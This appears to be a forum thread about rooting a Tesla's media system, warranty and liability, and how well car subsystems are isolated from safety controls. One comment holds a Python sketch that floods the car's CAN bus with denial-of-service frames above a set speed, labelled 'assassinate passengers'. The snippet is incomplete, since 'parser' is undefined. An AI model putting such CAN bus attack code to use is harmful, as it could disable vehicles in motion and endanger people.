But still not quite for the faint of heart.
Even if the media subsystem is running on dedicated hardware, the fact that it's networked with the rest of the car means that there's still a risk of it being used to gain access to other components.
I don't think anyone was claiming anything contrary to that, just that replacing the software running the media dash isn't going to fubar your car.
"Your honor, we were not responsible for that AutoPilot crash because the driver did an unauthorized modification of the car's software!"
In effect, the manufacturer can only deny warranty claims for a specific part iff the consumer's aftermarket repair/modifications were responsible for the warrantied part failing. i.e. "I tinted the windows, and now the brakes are failing" does not result in warranty claims on the brakes being denied. However, "I replaced the brake pads [with faulty pads], and now the brake rotors are failing" can result in a denied warranty claim.
Plus, in a connected car situation, its going to be very difficult to prove that one thing didn't cause another.
Because you rooted the media control system, your unapproved software had the ability to speak to the brake control system and apply more-than-designed force to the brakes and thereby caused this damage.
Could you be forced into proving a negative?
That said, I think most of these things happen in the context of class action suits. In a class action, its going to be hard to blame or exclude the 1% of the class that has rooted their car.
The trouble is that with mechanical parts it is usually very easy to see connections between elements - not so in digital world. I think the direction the car makers should take is to develop "microservices" with strict APIs, strict access lists and a guardian which double-checks if some requested operation really makes sense. That way if you root a media center you can't mess with the engine from there.
EDIT: I see from other comments that Tesla apparently does something similar. Too bad it's not standardized and open, but at least approach is right...
I don't know enough about CAN bus to speak authoritatively about this, nor do I know the specifics of what the dashboard has access to, but given that the dash displays information like charge level and speed, I'd guess that the dash is getting that information directly from the CAN.
And I do know that CAN bus is very vulnerable. [1][2]... So you may be able to kill someone through /dev/can0, via a small program running in that chroot.
Eg: In Python
from canard import can
from canard.file import jsondb
from canard.hw import socketcan
# create and start device
dev = socketcan.SocketCanDev("/dev/can0")
dev.start()
# create our DoS frame
frame = can.Frame(id=0)
frame.dlc = 8
# load tesla can spec, eg: from [4]
# CAN3, ID 0x0256
b = parser.parse('tesla.json')
while True:
rec = dev.recv()
speedo = b.parse_frame(rec)
# assassinate passengers
if (speedo.speed > 60):
while True:
dev.send(frame)
[2]: http://security.stackexchange.com/questions/88724/is-there-a...
[3]: https://github.com/ericevenchick/CANard
[4]: http://skie.net/uploads/TeslaCAN/Tesla%20Model%20S%20CAN%20D...
What do you mean by that? I would think that once you get UID=0 nothing can stop you from doing whatever you want to that device.
You would have to get UID=0 on the canbus gateway to make requests 'willy nilly' on the critical canbus. Having UID=0 on the media centre would only help in making willy nilly requests to the gateway.
edit: clarity
As a tesla owner, I do wish they would hurry up and publish their app platform. They do have apps that they wrote themselves, that come with the car.
And I really wish they'd update their web browser, and even more wish they supported linux. Maybe the chromebook os support will be secure enough for android apps that even tesla could use it.
There's as many pros on one side as cons on the other.
If the Toyota code would be public we'd hear a lot of guys screaming and if you own the car and have the knowledge I guess you are keen on looking. Sure lots of noise for manufactures and likely new attack vectors but in the end public universities could look at it. On the other hand you'll end up with OpenSSL for cars.
However it should be still safe when public that what should be the design goal. However what you read about embedded stuff in cars and airplanes...OSS would be likely an improvement. I for one would like to file a pull request against the A380 firmware :)
That is, the 'model' is the truth and the IP. The generated code is spaghetti, the vendors components are black boxes, and their 'code' is nothing more than another locked subsystem in the model.
Let's say in an ideal world, these mission critical systems must be opened - what do you propose everyone's business model should be? If everyone must see each others models... where is the free market competitive advantage to be gained?
I imagine the ideal solution would be using two airgapped computers, one for the main car system, one for the media stuff, and then keep the servers from which they receive updates, and the authorization for those servers completely separated as well, with the updates done by different people, too.
But I imagine the vast majority of car makers don't do anything close to that, and probably not even Tesla does it like that. BMW wasn't even sending its OTA updates over HTTPS until 2 years ago.
I imagine most right now, if they even isolate the media and the main systems at all, probably do it through virtualization to "cut costs", so they don't even use two different chips. Heck, they may even use "containers" to cut costs even further.
And this is why I won't be a self-driving car beta tester in the first 10 years. You just can't trust these guys when up until now they didn't even have a clue about software security, to do this properly. And it's probably why "Silicon Valley car makers" will end up winning over the traditional car makers eventually, too.
The only software I actually can trust my life with are the ones used by NASA, if any of the car company abide / follows NASA's guidelines, they would already use that as part of the PR
so none yet
All they had to was reprogram one of controllers and full access was granted.
Even if you don't reprogram controllers you don't have guarantee that some components won't go high wire when your modded version dies something different.
The best approach would be if manufacturers would provide an air gap, but they probably won't, to save costs.
So it's like running an X server and external display on your Android in a chroot, so it looks like you're running Ubuntu and Android.
Say you installed a media player. Now you'll have to convince a jury that you didn't install a media player just so you could watch videos while driving, and therefore were distracted at the time.
I had a SatNav where an "unable to detect park gear" warning always showed up (I had a stick shift, so it the wires were connected to the hand-break). The guy at the shop couldn't figure out why it was shorting so he just disabled it and said, "Don't watch DVDs while driving."
You know I never did use the DVD player in there ever, not even while parked, in the 5 years I had it.
[0]: http://www.thetruthaboutguns.com/2011/01/brad-kozak/the-mass...
NB: I have almost no idea how liability and insurance works in the US.
Does autopilot still work? Do the airbags still deploy? Does the brake still work?
I cringe from the PR implications as I say this but really I fully supported Jeb! when he shrugged about one of the shootings. If we want freedom, we will have some missteps. I kind of wish we could say the same about religious extremists but that ship was always under command of the same bigots who controlled the conversation during the red scare.
They were able to successfully get root access to the car's system (not chroot, real full root access) and with that they were able to fully access to the car's API within Tesla OS. They even showed a video about one of the guys driving the car at low speed and the other one remotely accessing to the car's Linux shell by SSH and shutting down the whole car while the first guy was riding.
The interesting thing is that for higher speeds, for example more than 50 km/h, the car seems to override any of the Linux systems and the root access becomes useless, it stops working.
In another words, the car is able to decouple itself from the Tesla OS.
You can check the presentation from those guys here: https://youtu.be/KX_0c9R4Fng?t=39m51s
For example: Remote door unlock command issued by the mobile phone app will not work if the car is moving.
it is the same thing.
Would love to hear more about it from anyone who has more information.
https://users.ece.cmu.edu/~koopman/pubs/koopman14_toyota_ua_...
That picture of the ETCS board has just reminded me of a time my friend gave me a tour of the Mclaren F1 workshop – he worked on the testing team.
They'd just spent a couple of weeks tracking down an issue where the engine had misfired during one of the races (like, once or twice). Turns out that the tracks on one of the control circuit boards were a tiny bit too close and there had been an arc. I couldn't believe how much work they had put into figuring it out.
[0]: http://www.formula1.com/content/fom-website/en/championship/...
edit: grammar fix
All the more reason to root the device.